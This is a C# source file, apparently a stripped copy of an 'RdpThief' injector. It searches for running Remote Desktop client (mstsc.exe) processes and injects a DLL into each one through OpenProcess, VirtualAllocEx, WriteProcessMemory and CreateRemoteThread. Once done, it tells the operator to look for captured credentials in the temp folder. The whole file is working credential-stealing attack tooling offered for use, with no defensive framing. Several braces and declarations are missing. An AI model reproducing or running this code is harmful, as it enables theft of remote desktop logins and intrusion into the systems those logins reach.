using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace RdpThiefInjector
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
string dllName = @"C:\Temp\RdpThief.dll";
HashSet<int> PIDs = new HashSet<int>();
Console.WriteLine("[*] Joined the hunt for mstsc.exe processes...");
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0)
for (int i = 0; i < mstscProc.Length; i++)
int processId = mstscProc[i].Id;
if (!PIDs.Contains(processId))
Console.WriteLine(quot;[+] Detected non-hooked process with PID={processId}");
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
IntPtr dllAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
bool res = WriteProcessMemory(hProcess, dllAddress, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
Console.WriteLine("[+] WriteProcessMemory succeeded!");
Console.WriteLine("[-] WriteProcessMemory failed :(");
IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddress, dllAddress, 0, IntPtr.Zero);
Console.WriteLine("[+] CreateRemoteThread succeeded!");
Console.WriteLine(quot;[*] Process {processId} is now hooked, look for creds in \"{System.IO.Path.GetTempPath()}\"");
Console.WriteLine("[-] CreateRemoteThread failed :(");